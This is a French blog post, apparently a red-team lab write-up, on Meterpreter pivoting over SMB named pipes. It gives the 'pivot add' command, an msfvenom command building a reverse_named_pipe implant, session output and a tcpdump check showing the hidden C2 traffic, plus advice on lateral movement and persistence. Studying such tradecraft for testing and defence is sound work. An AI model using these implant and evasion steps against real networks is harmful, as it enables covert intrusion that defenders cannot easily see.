(Note: cet article est publié bien plus tard que la date à laquelle il apparaît sur ce blog. Il est en effet basé sur des notes prises sur mon wiki que je me décide tout juste à mettre au propre.) Une fonctionnalité assez peu connue de Meterpreter c’est la possibilité d’utiliser des tubes nommés (named pipes) qui transitent via SMB comme protocole de transport. Pourtant, c’est une fonctionnalité qui a été ajoutée il y a déjà plus de 5 ans (à priori dans le commit 816e78b6f6206de52b96f3ffaec7b969f4b038ad ). Pour des situations classiques, ça ne sert pas à grand chose. Pour des situations où l’on souhaite diminuer notre empreinte réseau c’est quelque chose d’assez classe.

Traditionnellement, on réceptionne une session meterpreter directement: la machine infectée se connecte à nous directement. Le souci c’est que ça peut finir par se voir et on va vite se retrouver avec un paquet de machines qui vont venir nous causer directement.

Modèle traditionnel

Cobalt Strike (et d’autres, comme Covenant ou Slingshot) ont implanté un système de beaconing via SMB depuis un moment. Une machine infectée nous parle directement, et les autres machines vont discuter sur SMB (un protocole déjà bien bavard sur un réseau d’entreprise) avec notre point d’entrée initial, qui nous transfèrera leurs informations. Ainsi, on se retrouve avec une seule machine discutant avec le C2.

Modèle P2P

Dans mon exemple ici, j’ai un meterpreter qui est revenu directement :

msf6 exploit(multi/handler) > 
[!] https://10.1.1.10:443 handling request from 10.1.1.242; (UUID: h39f0k1v) Without a database connected that payload UUID tracking will not work!
[*] https://10.1.1.10:443 handling request from 10.1.1.242; (UUID: h39f0k1v) Staging x86 payload (176732 bytes) ...
[!] https://10.1.1.10:443 handling request from 10.1.1.242; (UUID: h39f0k1v) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 14 opened (10.1.1.10:443 -> 10.1.1.242:64418) at 2021-05-21 15:55:05 +0200

J’en profite pour préciser un détail. Ici j’utilise du x86 et pas du x64 car une partie de mon lab tourne sur du matériel ne gérant pas très bien certaines instructions x64 (c’est un vieux CPU). Ici, certaines parties relatives au pivoting via des named pipes ne fonctionnait juste pas en x64, mais sans problème en x86, tandis que le système est bien x64.

On s’en fout un peu de la manière dont a été généré notre payload, c’est juste un meterpreter x64 qui utilise https comme canal de conversation. On va mettre en place le mécanisme de pivoting. Pour ça on utilise la commande “pivot” de meterpreter :

meterpreter > pivot -h
Usage: pivot <list|add|remove> [options]

Manage pivot listeners on the target.


OPTIONS:

    -a   Architecture of the stage to generate
    -h   View help
    -i   Identifier of the pivot to remove
    -l   Host address to bind to (if applicable)
    -n   Name of the listener entity (if applicable)
    -p   Platform of the stage to generate
    -t   Pivot listener type


Supported pivot types:
     - pipe (using named pipes over SMB)
Supported architectures:
     - x64
     - x86
Supported platforms:
     - windows

eg.    pivot add -t pipe -l 192.168.0.1 -n msf-pipe -a x64 -p windows
       pivot list
       pivot remove -i 1

On utilise donc la commande “pivot add” :

meterpreter > pivot add -t pipe -l 10.1.1.242 -n demo -a x86 -p windows
[+] Successfully created pipe pivot.

Il nous reste maintenant à générer notre implant qui utilise ce protocole pour communiquer. Ici on va utiliser “reverse_named_pipe” qui prend quelques paramètres :

  • PIPEHOST : l’IP de la machine qui attend des infos via le pipe (en gros, la machine déjà infectée et qui communique avec nous)
  • PIPENAME : le nom du pipe (tube) à utiliser, ici “demo”
msfvenom -p windows/meterpreter/reverse_named_pipe PIPEHOST=10.1.1.242 PIPENAME=toto -f exe -o pipe32.exe --arch x86 --platform windows

On se retrouve avec l’exe pipe32.exe. On va se débrouiller d’une manière ou d’une autre pour le faire exécuter sur une machine différente, qui dépendra des cas de figures d’un engagement à l’autre. On peut par exemple balancer le fichier et l’exécuter via WMI, SCM, etc. Ici on va dire que le compte administrateur était commun à toutes les machines Windows, donc on a pu latéraliser assez facilement et déposer l’exe de notre choix pour l’exécuter. Une fois exécuté :

meterpreter > 
[*] Meterpreter session 15 opened (Pivot via [10.1.1.10:443 -> 10.1.1.242:64418]) at 2021-05-21 15:55:58 +0200
[*] Meterpreter session 16 opened (Pivot via [10.1.1.10:443 -> 10.1.1.242:64418]) at 2021-05-21 15:55:59 +0200

Pour la suite, on y accède exactement de la même manière qu’un meterpreter classique. On peut lister à tout moment les différents pivots mis en place :

meterpreter > pivot list

Currently active pivot listeners
================================

    Id                                URL                     Stage
    --                                ---                     -----
    30351ad8880b42e48e34aca85c4ef68f  pipe://10.1.1.242/toto  x86/windows

On peut vérifier assez facilement que le trafic de cette machine ne nous est pas adressé directement. Sur mon C2 j’ai lancé un tcpdump avec un filtre sur l’adresse IP de WS03 (ici 10.1.1.243). J’ai lancé un ping depuis cette machine pour valider que je vois bien passer les paquets en temps normal :

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
16:09:32.845444 IP 10.1.1.243 > rigel: ICMP echo request, id 1, seq 1, length 40
16:09:32.845630 IP rigel > 10.1.1.243: ICMP echo reply, id 1, seq 1, length 40
16:09:33.856908 IP 10.1.1.243 > rigel: ICMP echo request, id 1, seq 2, length 40
16:09:33.856963 IP rigel > 10.1.1.243: ICMP echo reply, id 1, seq 2, length 40
16:09:34.871781 IP 10.1.1.243 > rigel: ICMP echo request, id 1, seq 3, length 40
16:09:34.871828 IP rigel > 10.1.1.243: ICMP echo reply, id 1, seq 3, length 40
16:09:35.887402 IP 10.1.1.243 > rigel: ICMP echo request, id 1, seq 4, length 40
16:09:35.887456 IP rigel > 10.1.1.243: ICMP echo reply, id 1, seq 4, length 40
16:09:37.496634 ARP, Request who-has rigel (00:0c:29:3a:2d:e6 (oui Unknown)) tell 10.1.1.243, length 46
16:09:37.496671 ARP, Reply rigel is-at 00:0c:29:3a:2d:e6 (oui Unknown), length 28
16:09:37.875055 ARP, Request who-has 10.1.1.243 tell rigel, length 28
16:09:37.875606 ARP, Reply 10.1.1.243 is-at 00:0c:29:63:4e:1e (oui Unknown), length 46

J’ai ensuite envoyé quelques commandes via la console meterpreter sur cette machine, sans que l’output de mon tcpdump n’évolue.

Au niveau des inconvénients, il va de soi que si l’on choisit mal l’implant initial, dès qu’il sera coupé pour une raison ou pour une autre, on va perdre tous nos accès. Il est donc judicieux de coupler ce genre de techniques avec des techniques de persistance plus traditionnelles afin de ne pas se retrouver comme un santibelli à la pause déjeuner (laptop fermé) de l’utilisateur nous servant de pivot (ou s’il a des horaires différents ou pire: s’il part en congés pendant l’opération).